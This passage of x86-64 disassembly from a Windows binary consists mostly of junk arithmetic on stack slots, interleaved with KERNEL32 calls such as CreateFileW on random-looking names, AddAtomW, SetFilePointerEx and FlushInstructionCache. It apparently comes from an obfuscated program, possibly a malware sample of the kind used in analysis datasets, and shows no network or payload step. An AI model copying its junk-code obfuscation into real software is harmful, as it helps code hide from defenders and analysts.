mov rcx, qword [rsp + 0x147f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xad54], eax
mov rax, qword [rsp + 0x13418]
mov rcx, qword [0x140363c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x147a0]
mov dword [rcx], eax
lea rax, [rsp + 0x209c]
mov qword [rsp + 0x14af8], rax
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14228]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13a18]
mov byte [rcx], al
mov rax, qword [rsp + 0x145d0]
mov eax, dword [rax]
mov dword [rsp + 0xad58], eax
mov rax, qword [rsp + 0x142b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa97c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa948], eax
mov rcx, qword [rsp + 0x13bc0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x6bc0]
mov ecx, dword [rsp + 0x7114]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c98]
mov dword [rcx], eax
lea rax, [rsp + 0x710c]
mov qword [rsp + 0x14b00], rax
movzx eax, byte [rsp + 0x464]
mov rcx, qword [rsp + 0x13b38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6c9], al
mov rax, qword [rsp + 0x14580]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140362e3c], ax
lea rcx, [rsp + 0x41c28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x2aac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x132a8]
mov ecx, dword [0x140363b80]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7564], eax
mov rax, qword [rsp + 0x13660]
mov rcx, qword [rsp + 0x13ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140b0]
mov eax, dword [rax]
mov dword [rsp + 0xad5c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov eax, dword [rsp + 0xa8bc]
mov ecx, dword [0x140363b44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaabc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xabbc], eax
movzx eax, byte [rsp + 0x6e6]
mov byte [rsp + 0x6f9], al
mov rax, qword [0x140363d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a0c]
sub eax, ecx
mov word [rsp + 0x1e18], ax
lea rax, [rsp + 0x2ba4]
mov qword [rsp + 0x14b08], rax
mov rax, qword [rsp + 0x14038]
movzx eax, byte [rax]
mov byte [0x14035e502], al
mov rax, qword [0x140363ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ec8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaaac]
movzx ecx, al
mov eax, dword [rsp + 0xaac0]
shr eax, cl
mov rcx, qword [rsp + 0x137d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14aa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3b2]
shl eax, cl
mov byte [rsp + 0x48d], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac04], eax
movzx eax, word [rsp + 0x14b8]
movzx ecx, word [rsp + 0x2b44]
or eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
mov eax, dword [rsp + 0xa9c0]
mov dword [rsp + 0xad60], eax
mov rax, qword [0x140363cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa764]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaac], eax
mov eax, dword [rsp + 0xaa64]
mov ecx, dword [rsp + 0x80d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9d8], eax
mov eax, dword [rsp + 0xab8c]
mov ecx, dword [rsp + 0xa184]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x955c], eax
movzx eax, byte [0x140353583]
mov rcx, qword [rsp + 0x14098]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14035e502], al
movzx eax, word [rsp + 0x1e64]
mov rcx, qword [rsp + 0x146b8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14478]
mov word [rcx], ax
mov eax, dword [rsp + 0x7dfc]
mov dword [rsp + 0xad64], eax
mov rax, qword [0x1403639d0]
mov ecx, dword [rsp + 0xabb4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x139f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ef0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6b0]
or eax, ecx
mov rcx, qword [rsp + 0x14740]
mov byte [rcx], al
mov rax, qword [rsp + 0x14390]
movzx eax, word [rax]
mov word [rsp + 0x2bc4], ax
mov rax, qword [0x140363cc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c9]
sub eax, ecx
mov rcx, qword [rsp + 0x136e8]
mov byte [rcx], al
lea rax, [rsp + 0x209c]
mov qword [rsp + 0x14b10], rax
mov rax, qword [rsp + 0x13b48]
mov rcx, qword [rsp + 0x14150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c10]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabc8]
mov ecx, dword [0x14035cc08]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363c68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8604]
mov rcx, qword [rsp + 0x13f48]
mov qword [rsp + 0x14b18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14b18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8ce0], eax
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xacb0]
shr eax, cl
mov rcx, qword [rsp + 0x14108]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa3f4]
mov ecx, dword [rsp + 0xa9c0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xad4c], eax
mov rax, qword [rsp + 0x145f8]
movzx eax, word [rax]
mov word [rsp + 0x2bc8], ax
movzx eax, byte [0x14035e4a6]
movzx ecx, byte [rsp + 0xb4]
or eax, ecx
mov byte [rsp + 0x6ea], al
lea rax, [rsp + 0xa9c0]
mov qword [rsp + 0x14b20], rax
movzx ecx, word [rsp + 0x2ba8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bcc], ax
mov eax, dword [rsp + 0xab7c]
mov ecx, dword [rsp + 0xac60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xabfc], eax
mov rax, qword [rsp + 0x13c18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa810]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac00], eax
lea rax, [rsp + 0xa900]
mov qword [0x140363d50], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rax, [rsp + 0x6dd]
mov qword [rsp + 0x14b28], rax
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x146b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b34], ax
lea rax, [rsp + 0x2b5c]
mov qword [rsp + 0x14b30], rax
movsx eax, byte [rsp + 0x6e6]
mov rcx, qword [rsp + 0x149a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6bd], al
mov rax, qword [0x140363d48]
mov rcx, qword [rsp + 0x13fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa278], eax
lea rax, [rsp + 0xad20]
mov qword [rsp + 0x14b38], rax
mov rax, qword [rsp + 0x14418]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa8]
add eax, ecx
mov word [rsp + 0x2554], ax
movzx eax, byte [rsp + 0x23c]
movzx ecx, byte [rsp + 0x6c6]
and eax, ecx
mov byte [rsp + 0x119], al
lea rax, [rsp + 0xabd8]
mov qword [0x140363d58], rax
mov rax, qword [rsp + 0x138d0]
mov rcx, qword [rsp + 0x14250]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x80ac], eax
mov eax, dword [rsp + 0xac40]
mov dword [rsp + 0xad68], eax
mov rax, qword [rsp + 0x13900]
mov rcx, qword [rsp + 0x13b68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x134d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ae0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1de8]
xor eax, ecx
mov word [rsp + 0x2aa4], ax
lea rax, [0x140353597]
mov qword [rsp + 0x14b40], rax
mov eax, dword [rsp + 0x90d0]
movzx ecx, al
mov eax, dword [rsp + 0xaab8]
sar eax, cl
mov rcx, qword [rsp + 0x13ae0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8c9c]
shl eax, cl
mov dword [rsp + 0x85c0], eax
mov eax, dword [rsp + 0x874c]
mov ecx, dword [rsp + 0xa278]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d08]
mov dword [rcx], eax
lea rdx, [rsp + 0x14540]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9f4], eax
lea rcx, [rsp + 0x41d48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xa978]
mov ecx, dword [rsp + 0x92fc]
sub ecx, eax
mov eax, ecx
mov dword [0x140363be4], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x96e4], eax
movzx eax, word [rsp + 0x2a9c]
mov word [rsp + 0x2bd0], ax
movsx eax, byte [rsp + 0x4ff]
movsx ecx, byte [rsp + 0x2f8]
sub eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov byte [rcx], al
lea rax, [0x14035cbec]
mov qword [rsp + 0x14b48], rax
mov rax, qword [rsp + 0x138a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6cd]
and eax, ecx
mov byte [rsp + 0x6cf], al
mov rax, qword [rsp + 0x13330]
mov ecx, dword [rsp + 0xad14]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x139c0]
mov dword [rcx], eax
lea rax, [rsp + 0xa774]
mov qword [rsp + 0x14b50], rax
mov rax, qword [rsp + 0x13518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13630]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13e50]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaccc], eax
mov rax, qword [rsp + 0x143e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140362d5c], ax
lea rdx, [rsp + 0x142d0]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa968], eax
lea rax, [rsp + 0xaad4]
mov qword [rsp + 0x14b58], rax
mov rax, qword [rsp + 0x13cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x71c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x81b4], eax
mov rax, qword [0x140363ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x73c0], eax
lea rax, [rsp + 0xab20]
mov qword [rsp + 0x14b60], rax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14858]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13ba8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6ed]
mov byte [rsp + 0x6fa], al
mov eax, dword [rsp + 0x8f8c]
movzx ecx, al
mov eax, dword [rsp + 0x9c30]
sar eax, cl
mov dword [rsp + 0xaa1c], eax
lea rax, [rsp + 0xabc4]
mov qword [rsp + 0x14b68], rax
lea rax, [rsp + 0x2b54]
mov qword [0x140363d60], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.fTzq0g8QfD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14b70], rax
lea rdx, [rsp + 0x45dc8]
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xac98], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab10], eax
lea rcx, str.20PvmlW_PoVitJ3_QW4t4RWZWrI11k
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bd4], ax
mov rax, qword [rsp + 0x13ab8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14aa8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2f8], al
movzx eax, byte [rsp + 0x6b7]
movzx ecx, byte [rsp + 0x6e0]
xor eax, ecx
mov rcx, qword [rsp + 0x13720]
mov byte [rcx], al
mov rax, qword [rsp + 0x13398]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14af8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a08]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ba0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab10], eax
mov eax, dword [rsp + 0xa71c]
mov dword [rsp + 0xad6c], eax
mov rax, qword [rsp + 0x14838]
mov ecx, dword [rsp + 0x92fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x763c], eax
mov rax, qword [rsp + 0x13748]
mov rcx, qword [rsp + 0x13538]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8fdc], eax
mov rax, qword [rsp + 0x13ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7108], eax
xor r9d, r9d
lea r8, [rsp + 0x13e28]
mov rdx, qword [rsp + 0x14b78]
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa92c], eax
mov rax, qword [0x140363c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14ac8]
mov word [rcx], ax
lea rax, [rsp + 0x120]
mov qword [0x140363d68], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2942
mov r8d, 0x14fa
mov edx, 0x95
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xab88], eax
lea rax, [rsp + 0xa960]
mov qword [rsp + 0x14b80], rax
mov eax, dword [rsp + 0xa14c]
mov ecx, dword [rsp + 0xaa14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad4c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rax, [rsp + 0x6cb0]
mov qword [rsp + 0x14b88], rax
movzx eax, byte [rsp + 0x6b9]
movzx ecx, byte [rsp + 0x120]
add eax, ecx
mov rcx, qword [rsp + 0x134c8]
mov byte [rcx], al
lea rax, [rsp + 0x2ac4]
mov qword [rsp + 0x14b90], rax
movsx eax, word [rsp + 0x2b18]
movsx ecx, word [rsp + 0x2a1c]
sub eax, ecx
mov rcx, qword [rsp + 0x13b88]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab40], eax
mov rax, qword [rsp + 0x13250]
movzx eax, byte [rax]
mov byte [rsp + 0x6fb], al
mov rax, qword [rsp + 0x14860]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa87c]
add ecx, eax
mov eax, ecx
mov dword [0x140363a74], eax
mov eax, dword [rsp + 0x81b4]
mov ecx, dword [rsp + 0x82e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14628]
mov dword [rcx], eax
movzx eax, byte [0x14035e4a4]
movzx ecx, byte [rsp + 0x6f0]
sar eax, cl
mov byte [rsp + 0x119], al
lea rax, [rsp + 0x20a8]
mov qword [rsp + 0x14b98], rax
mov eax, dword [rsp + 0x85c0]
mov rcx, qword [rsp + 0x146a8]
mov qword [rsp + 0x14ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14ba0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xabdc], eax
mov rax, qword [rsp + 0x13770]
mov eax, dword [rax]
mov dword [rsp + 0xad70], eax
mov rax, qword [rsp + 0x145d0]
mov ecx, dword [rsp + 0x6cd0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa40], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.F2tB7Agknx7wCZTohWv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14ba8], rax
lea rax, [rsp + 0x29b4]
mov qword [rsp + 0x14bb0], rax
lea rax, [rsp + 0x6f6]
mov qword [0x140363d70], rax
mov rax, qword [rsp + 0x13620]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e80]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bb8]
mov dword [rcx], eax
lea rax, [0x140363a60]
mov qword [rsp + 0x14bb8], rax
mov rax, qword [rsp + 0x13c60]
mov ecx, dword [rsp + 0xa928]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa9d4], eax
mov rax, qword [rsp + 0x133d0]
mov rcx, qword [rsp + 0x14848]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xacd0], eax
mov rax, qword [0x140363c70]
mov rcx, qword [rsp + 0x140c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9764], eax
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
sub eax, ecx
mov rcx, qword [rsp + 0x14768]
mov word [rcx], ax
lea rax, [rsp + 0x32c]
mov qword [rsp + 0x14bc0], rax
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14bb0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14858]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b8]
add eax, ecx
mov rcx, qword [0x1403639c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a28]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab0c], eax
lea rax, [rsp + 0xaafc]
mov qword [rsp + 0x14bc8], rax
movzx eax, word [rsp + 0x29f0]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13768]
mov word [rcx], ax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
mov byte [rsp + 0x6fc], al
mov rax, qword [rsp + 0x14888]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaa84]
shl eax, cl
mov rcx, qword [rsp + 0x13c38]
mov dword [rcx], eax
lea rax, [rsp + 0xac60]
mov qword [rsp + 0x14bd0], rax
mov rax, qword [rsp + 0x13f28]
mov rcx, qword [rsp + 0x13c38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14370]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa950]
sar eax, cl
mov rcx, qword [rsp + 0x133f8]
mov dword [rcx], eax
lea rax, [rsp + 0x6d9]
mov qword [0x140363d78], rax
lea rax, [rsp + 0x2aa4]
mov qword [rsp + 0x14bd8], rax
mov rax, qword [0x140363b10]
mov ecx, dword [rsp + 0xaa54]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaa90], eax
lea rax, [rsp + 0xac18]
mov qword [rsp + 0x14be0], rax
mov rax, qword [rsp + 0x134f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6cc]
and eax, ecx
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
mov rax, qword [0x140363d10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a0c]
add eax, ecx
mov rcx, qword [rsp + 0x13378]
mov word [rcx], ax
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x25a4], ax
movzx eax, byte [0x14035e4f7]
mov rcx, qword [rsp + 0x13720]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6c4], al
lea rax, [rsp + 0x6674]
mov qword [rsp + 0x14be8], rax
mov rax, qword [rsp + 0x13688]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363b70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9e84]
mov ecx, dword [rsp + 0xab18]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13330]
mov rcx, qword [rsp + 0x13908]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa970], eax
mov eax, dword [rsp + 0xad08]
mov dword [rsp + 0xad74], eax
movzx eax, byte [0x14035e502]
mov rcx, qword [rsp + 0x14488]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x23b], al
movzx eax, word [rsp + 0x22c8]
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x136a8]
mov rcx, qword [rsp + 0x14a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7ea0]
mov ecx, dword [rsp + 0xa948]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xacb8], eax
mov eax, dword [rsp + 0xa91c]
mov ecx, dword [rsp + 0x6a38]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa73c], eax
mov eax, dword [rsp + 0xac40]
movzx ecx, al
mov eax, dword [rsp + 0xaa1c]
shl eax, cl
mov dword [0x14035cc48], eax
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a14]
sar eax, cl
mov rcx, qword [rsp + 0x14b08]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x14430]
mov rdx, qword [rsp + 0x141f0]
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa958], eax
lea rax, [rsp + 0x436]
mov qword [rsp + 0x14bf0], rax
mov rax, qword [rsp + 0x13108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14790]
mov word [rcx], ax
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0x14bf8], rax
mov eax, dword [rsp + 0xa954]
mov ecx, dword [rsp + 0xaad4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14bc8]
mov dword [rcx], eax
mov rax, qword [0x140363c70]
mov ecx, dword [rsp + 0x73a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad50], eax
mov rax, qword [rsp + 0x14180]
movzx eax, byte [rax]
mov byte [rsp + 0x6fd], al
movzx eax, word [rsp + 0x2a7c]
movzx ecx, word [rsp + 0x2a30]
add eax, ecx
mov rcx, qword [rsp + 0x14268]
mov word [rcx], ax
mov rax, qword [rsp + 0x13820]
mov rcx, qword [rsp + 0x13cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363a68]
mov dword [rcx], eax
lea rax, [rsp + 0xa95c]
mov qword [rsp + 0x14c00], rax
mov rax, qword [rsp + 0x14510]
mov rcx, qword [rsp + 0x13840]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8428], eax
mov eax, dword [rsp + 0xaa78]
mov ecx, dword [0x140363b80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14be8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x68e]
mov rcx, qword [rsp + 0x138b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x309], al
mov rax, qword [rsp + 0x14298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a54]
sub eax, ecx
mov word [rsp + 0x2aa8], ax
lea rax, [rsp + 0x81a0]
mov qword [rsp + 0x14c08], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a8], eax
mov eax, dword [rsp + 0xa9d8]
mov ecx, dword [rsp + 0xabcc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [0x140363d00]
mov ecx, dword [rsp + 0xa8ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xacb0], eax
mov rax, qword [rsp + 0x14c00]
mov eax, dword [rax]
mov dword [0x140363d80], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
mov eax, dword [rsp + 0xa91c]
mov dword [rsp + 0xad7c], eax
mov rax, qword [rsp + 0x14368]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a78]
sar eax, cl
mov word [rsp + 0x1784], ax
movzx eax, byte [rsp + 0x6fb]
mov byte [rsp + 0x6fe], al
mov rax, qword [rsp + 0x148f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
shl eax, cl
mov rcx, qword [rsp + 0x132c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d6]
xor eax, ecx
mov byte [rsp + 0x58b], al
mov eax, dword [rsp + 0xa868]
mov ecx, dword [rsp + 0xaa08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c88], eax
mov eax, dword [0x140363c94]
mov ecx, dword [rsp + 0x6ba8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e4], eax
movzx eax, byte [rsp + 0x6dd]
mov byte [rsp + 0x6ff], al
mov r9d, 0x711
xor r8d, r8d
lea rdx, [rsp + 0x12f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa9a0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac88], eax
movzx eax, word [rsp + 0x2b44]
mov rcx, qword [rsp + 0x13ae8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362d5c], ax
mov rax, qword [rsp + 0x147b8]
mov rcx, qword [0x140363cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6674], eax
lea rax, [rsp + 0x8ce0]
mov qword [rsp + 0x14c10], rax
mov rax, qword [rsp + 0x13bb0]
mov rcx, qword [rsp + 0x14b20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x149f0]
mov dword [rcx], eax
mov rax, qword [0x140363978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad64], eax
movzx eax, byte [rsp + 0x6cb]
mov rcx, qword [rsp + 0x136e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x61c], al
mov rax, qword [rsp + 0x13768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14330]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14718]
mov word [rcx], ax
lea rax, [rsp + 0xad4c]
mov qword [rsp + 0x14c18], rax
mov rax, qword [rsp + 0x145e0]
mov eax, dword [rax]
